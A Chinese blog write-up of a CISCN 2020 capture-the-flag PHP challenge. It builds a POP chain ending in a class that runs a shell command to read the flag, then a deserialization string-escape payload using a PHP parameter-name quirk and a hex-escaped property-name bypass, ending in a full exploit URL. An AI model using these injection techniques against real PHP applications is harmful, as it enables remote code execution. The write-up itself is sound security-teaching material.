CISCN2020_You_don‘t_know_PHP

本文介绍了2020年CISCN比赛中一道关于PHP安全的题目,涉及POP链构造、反序列化数据构造以及PHP的小特性。通过构造特定的PHP对象,利用POP链和反序列化字符逃逸来绕过安全检查,同时讨论了如何计算字符长度和插入payload的方法。
摘要由CSDN通过智能技术生成

前言

2020CISCN的一道web题, 题目名字叫啥记不清了,随便取了一个

环境: PHP 7.3+
题目源码:

链接:https://pan.baidu.com/s/11yuM9heXCwwGDLOjUP1Y-A
提取码:lmar

题目考察: POP链构造,反序列化逃逸,PHP小特性

POP链构造

主要就下面这几个class,先把链子造出来

class level1{
    protected $username;

    public function __construct($username = 'Guest'){
        $this->username = $username;
    }

    public function check_type(){
        if (gettype($this->username) === "function" or gettype($this->username) === "object"){
            $username = $this->username;
            $username();
        }
    }

    public function __destruct(){
        $this->check_type();
    }

}

class level2{
    protected $username;

    public function __construct($username){
        $this->username = $username;
    }

    public function __wakeup(){
        if ($this->username !== 'admin'){
            $this->username = 'Guest';
            echo "you are really dance\n";
        }
    }
    

    public function __invoke(){
        $this->check_name();
    }

    public function check_name(){
        if (stristr($this->username, 'admin')){
            echo "you are 666\n";
        }
        else{
            echo "Must Be admin!\n";
        }
    }
}

class level3{
    protected $username = "";

    public function __construct($username = "Guest"){
        $this->username = $username;
    }

    public function get_flag(){
	system("cat /flag.txt");
        echo "you_get_my_flag!!!";
    }

    public function __toString(){
        $this->get_flag();
        return "";  
    }

}

level1::__destruct()=>level1::check_type()=>level2::__invoke()=>level2::check_name()=>level3::__toString()=>level3::get_flag()

构造:

class level3{
    public $username = "lonmar";
}
class level2{
    public $username;
}
class level1{
    public $username;
}
$a = new level3();
$b = new level2($a);
$b->username = $a;
$c = new level1();
$c->username = $b;
var_dump(serialize($c));
//O:6:"level1":1:{s:8:"username";O:6:"level2":1:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}}

但是还需要绕过level1::__wakeup(),可以参考下 https://www.cnblogs.com/CubicZ/p/11938419.html
O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}}

本地测试没问题
在这里插入图片描述

构造反序列化数据

这里可控点只有$your_name.able$your_pass.able

在这里插入图片描述
PHP小特性:
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
CTF[SHOW.COM=>CTF_SHOW.COM
在这里插入图片描述
在这里插入图片描述

可以利用这个特性传参,但显然仅靠这两个是没办法传入POP链的.

common.php里还有这两个函数,put让字符边长,get让字符变短.

在这里插入图片描述
guest.php里面进行反序列化操作用到了get(),put在接收参数的时候使用

在这里插入图片描述
所以考虑利用反序列化字符逃逸

反序列化字符逃逸原理可以参考 : https://blog.csdn.net/weixin_45551083/article/details/111085944

显然是利用让字符变短吞掉后面的字符的情况

首先正常传参数后,反序列化数据应该是

someone":3:{s:12:"*your_name";s:6:"lonmar";s:12:"*your_pass";s:4:"pass";s:8:"*admin";i:0;}

但是还需要插入 O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}} 有109个字符

可以构造 your_name.able=lonmar your_pass.able=password";O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}}

这里your_pass.able构造有错误不过不影响后面分析如果构造your_name.pass,your_pass.able后面重新构造

这样构造出来的反序列化数据为

O:7:"someone":3:{s:12:"*your_name";s:6:"lonmar";s:12:"*your_pass";s:119:"password";O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}}";s:8:"*admin";i:0;}

利用字符变短往后吞字符,则需要多吞掉

";s:12:" * your_pass";s:119:"password 一共37个字符
在这里插入图片描述

get会将uuuuuu六个字符变成三个字符,吞掉三个字符,37不能被3整除,重新构造
your_pass.able=password12";O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}}
这样需要吞掉的就是 ";s:12:" * your_pass";s:119:"password1 39个字符

只需要13个uuuuuu

在这里插入图片描述

构造
your_name.able=uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuulonmar

然后这里构造your_pass.able有个坑就是,对象的反序列化数据里面,一定要有key,所以上面构造的有问题,正确的构造:
your_pass.able=password11";s:12:"uuuuuuyour_pass";O:6:"level1":1:{s:8:"username";O:6:"level2":2:{s:8:"username";O:6:"level3":1:{s:8:"username";s:6:"lonmar";}}};s:8:"uuuuuuadmin";i:0;}
为链子加上了key, s:12:"uuuuuuyour_pass"
和后面的;s:8:"uuuuuuadmin";i:0;}既构成闭合(;}),又使总体成员个数不变

然后本地调试一下,思路正确

在这里插入图片描述
最后一步,绕过check

有一个check函数

在这里插入图片描述
绕过方法是把属性名小写s改成S,并用16进制绕过,原理暂时不清楚(不清楚官方手册有没有),应该是s \00就代表三个字符,S \00就代表一个字符的十六进制(@会下雪的晴天)
payload:

?your[name.able=uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuulonmar&your[pass.able=password11";s:12:"uuuuuuyour_pass";O:6:"level1":1:{S:8:"user\6eame";O:6:"level2":2:{S:8:"user\6eame";O:6:"level3":1:{S:8:"user\6eame";s:6:"lonmar";}}};s:8:"uuuuuuadmin";i:0;}

在这里插入图片描述
在这里插入图片描述

总结

关键还是计算吞掉的字符长度和弄清楚payload怎么插进去

参考: https://blog.csdn.net/mochu7777777/article/details/108220249

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值